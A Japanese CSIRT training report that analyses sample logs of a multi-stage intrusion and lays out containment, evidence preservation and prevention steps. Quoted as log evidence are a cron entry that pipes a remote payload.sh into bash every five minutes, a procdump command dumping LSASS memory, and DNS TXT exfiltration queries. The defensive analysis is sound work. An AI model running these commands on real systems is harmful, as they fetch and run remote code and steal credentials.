

テーマ: インシデントログの分析と CSIRT 当番としての行動

CSIRT (Computer Security Incident Response Team)

1. インシデント分析

(I)[Auth] Jan 12 02:11:03 web1 sshd[2331]: Process ID, Secure Shell Daemon

Failed password for root from 203.0.113.55 port 41122 ssh2

[Auth] Jan 12 02:11:04 web1 sshd[2331]: Failed password for root from 203.0.113.55 port 41123 ssh2

2025 年 1 月 12 日 02:11:03, 4 web1 サーバに対して

IP アドレス 203.0.113.55 から root ユーザーでの SSH ログイン試行が行われ、パスワード認証に失敗しました。これはブルートフォース攻撃の一環と考えられます。

外部 IP アドレス 203.0.113.55 から root アカount に対するパスワード総当たり攻撃 (Brute-force) が確認。

(II)[Auth] Jan 12 04:22:11 db1 sudo: user2 : TTY=pts/1 ; PWD=/tmp ;

COMMAND=/bin/bash

user2 アカountにより、/tmp ディレクトリ内で root 権限の bash シェルが起動された。/tmp や /var/tmp はマルウェアがスクリプトを実行する際によく利用される領域であり、不正活動の強い兆候と判断される。

(III)[Linux] Jan 12 04:25:03 db1 CRON[4221]: (root) REPLACE (root)

*/5 * * * * /usr/bin/curl http://198.51.100.3/payload.sh | bash

このログは、攻撃者が root 権限で CRON ジョブを改ざんし、「5 分ごとに外部の悪意あるサーバ (198.51.100.3) からスクリプトをダウンロードして実行する」という永続化処理を仕込んだことを示している。[Linux] CRON による永続化とは、攻撃者が CRON へ悪意あるスクリプトを登録し、システム起動時や定期的に自動実行させることで、マルウェアを永続的に動作させる手法である。

(IV) [EDR] Malicious PowerShell Detected:

User: user1

Command: powershell.exe -EncodedCommand SQBtA...

Technique: MITRE T1059.001

Severity: High

このログは、user1 アカountによって Base64 でエンコードされた悪意のある PowerShell コマンドが実行され、EDR により MITRE T1059.001 (PowerShell) として検知され、重大度 High の深刻な攻撃と判断されたことを示している。Base64 とは、バイナリデータをテキスト

(ASCII) 形式に変換してエンコードする方式であり、インターネット上でデータを欠損させることなく安全に送信するために利用される符号化手法です。

(V)[EDR] LSASS memory access blocked

Process: C:\¥Tools¥procdump.exe -ma lsass.exe

User: localadmin

EDR は、LSASS プロセスのメモリへのアクセス試行をブロックしたことを示しています。

LSASS.exe は、Windows の認証情報（パスワードやトークンなど）を保持している重要なプロセスです。攻撃者が LSASS を読み取る主な目的は次のとおりです：

Windows パスワードの取得, NTLM ハッシュの窃取, Kerberos チケットの取得, ラテラルムーブメント（横方向展開）の実行。

これは、LSASS のダンプを取得するために使用されたコマンドです。

procdump.exe → Microsoft Sysinternals のツール, -ma → メモリ全体のダンプを取得するオプション, lsass.exe → ダンプ対象となるプロセス。このログは、localadmin アカウントによって procdump.exe を用いて LSASS プロセスのメモリダンプを取得しようとしたところ、EDR により資格情報窃取（Credential Dumping）として検知・遮断されたことを示している。

(VI)[FIREWALL] ALLOW outbound

Source=10.0.5.34 Dest=198.51.100.9:443 Bytes=98344 Rule=Default-Allow

[FIREWALL] ALLOW

10.0.5.34:50488 → 10.0.7.21:3389 Protocol=TCP

[DNS] Query: sdi9f8sdf98sdf.data.exfil.net Type=TXT Client=10.0.6.14

Outbound HTTPS connection

10.0.5.34 のホストが外部 IP（198.51.100.9）に対し、443/tcp（HTTPS）で多量のデータを送信しています。これは C2 通信 または データ流出の可能性が高い動作です。C2-Command & Control

FIREWALL – Internal RDP lateral movement

10.0.5.34 の端末が内部サーバ（10.0.7.21）へ 3389/tcp（RDP）で接続を試みています。これは侵害された端末が lateral movement（横方向展開）を行っている兆候です。Internal RDP lateral movement とは、侵害された端末が内部ネットワーク内の他のサーバや端末に RDP（リモートデスクトップ）を使って接続する行為を指します。

DNS – Suspicious TXT query (Exfiltration)

10.0.6.14 の端末が data.exfil.net に対して TXT レコードの DNS クエリを送信しています。TXT レコードはデータを分割して埋め込む-DNS を利用したデータ流出（Exfiltration）、に悪用されるため、非常に不審な挙動です。

2. CSIRT の当番

- 想定される攻撃シナリオは？
- 最優先の確認項目は？
- 取るべき初動(封じ込め+証拠保持)
- 事後対応の再発防止策

1. 想定される攻撃シナリオは？

[FIREWALL] ALLOW outbound

Source=10.0.5.34 Dest=198.51.100.9:443 Bytes=98344 Rule=Default-Allow

ログから以下の攻撃フローが推定されます。

1. 感染端末: 10.0.5.34?
 - 外部 IP 198.51.100.9:443 への大量のアウトバウンド HTTPS 通信
→ C2 サーバーとの通信の可能性
2. 内部横移動 (RDP): 10.0.5.34 → 10.0.7.21:3389
 - 攻撃者が内部サーバーへ RDP で接続を試みている
→ Lateral movement の兆候
3. データ持ち出し (DNS exfiltration): 10.0.6.14
 - sdi9f8sdf98sdf.data.exfil.net への TXT クエリ
→ DNS を利用した情報持ち出しの可能性

攻撃フローのまとめ: 感染 → C2 接続 → 内部 RDP 移動 → DNS を用いたデータ持ち出し

2. 最優先の確認項目は？

1. 感染端末 10.0.5.34 の状態確認
 - 不審なプロセスや未知の実行ファイル
 - C2 ビーコンの有無
 - 管理者権限でのログオン履歴
 - マルウェアの持続化 (Persistence) 機構
2. 内部 RDP ターゲット 10.0.7.21 のアクセス状況
 - Windows Event ID 4624 / 4625 の確認
 - 使用されたアカウント (ローカル admin / ドメインアカウント)
3. DNS クライアント 10.0.6.14 の TXT クエリ内容
 - Base64 等で暗号化されたデータの有無
 - コマンド・マルウェア通信の確認
4. 外部接続先 198.51.100.9 の調査
 - C2 サーバーであるか
 - Blacklist / Threat Intelligence に登録されているか

3. 取るべき初動 (封じ込め + 証跡保持)

[FIREWALL] ALLOW

10.0.5.34:50488 → 10.0.7.21:3389 Protocol=TCP

[DNS] Query: sdi9f8sdf98sdf.data.exfil.net Type=TXT Client=10.0.6.14

封じ込め

- 10.0.5.34、10.0.6.14、10.0.7.21 をネットワークから隔離
- C2 サーバー 198.51.100.9 へのアウトバウンド通信を Firewall でブロック
- sdi9f8sdf98sdf.data.exfil.net への DNS アクセスをブロック

Log/Forensic preservation

- ディスクイメージ (E01 形式) 取得
- メモリダンプ
- Windows イベントログ (Security / System)
- Firewall / Proxy ログ
- DNS ログ
- パケットキャプチャ (可能であれば)

注意:マシンの即時フォーマットは避ける (フォレンジック証跡を破壊する可能性あり), マルウェアファイル削除は証拠取得後に行う

組織内への迅速な連絡 (インシデント報告体制の整備)

- 社内でマルウェア感染や不審なメールを発見した際、すぐに上司・情報システム部へ報告する体制を整え、被害拡大を防止する。

組織内への連絡・CSIRT リーダーへ即時エスカレーション・関係部門(システム部門ネットワーク部門, 責任者)へ通知・(必要であれば)経営層および法務チームへの連絡 準備

4. 事後対応の再発防止策

技術的対策

- 内部 RDP ポートのセグメンテーション
- Firewall のアウトバウンドルールを “Default-Deny” に変更
- DNS セキュリティ強化 (TXT レコード監視)
- Endpoint Protection の最新化

認証情報保護

- Local admin パスワードの定期更新
- ドメイン管理者権限の制限
- パスワードポリシーの強化

監視 / 検知

- SIEM に RDP 認証アラートルール追加
- DNS Exfiltration 検知ルール追加
- C2 通信行動ベースの検知

まとめ

今回のログから、外部からの SSH ブルートフォース攻撃により Linux サーバへの不正アクセスが試みられ、user2 による sudo 実行や/tmp での bash 起動、CRON による 5 分ごとのスクリプト実行などの永続化手法が確認され、さらに Windows 端末では PowerShell の EncodedCommand によるマルウェア活動や LSASS メモリダンプの試行が検出され、内部ネットワークでは RDP による横展開や外部 C2 サーバへの HTTPS 通信、DNS TXT レコードを利用したデータ送信の痕跡も見られたことから、本インシデントは多段階攻撃であり、CSIRT 当番としてはまず感染端末の隔離と不正通信遮断、証跡の確保を行い、影響範囲の特定と初動封じ込めを優先するとともに、復旧後には root ログイン禁止やパスワード強化、監視ルール更新など再発防止策を講じる必要がある。

References :

1. Microsoft Docs. *LSASS and Credential Dumping*
2. MITRE ATT&CK. *T1059.001: PowerShell*. <https://attack.mitre.org/techniques/T1059/001/>
3. Linux man pages. *CRON job configuration*. <https://man7.org/linux/man-pages/man5/crontab.5.html>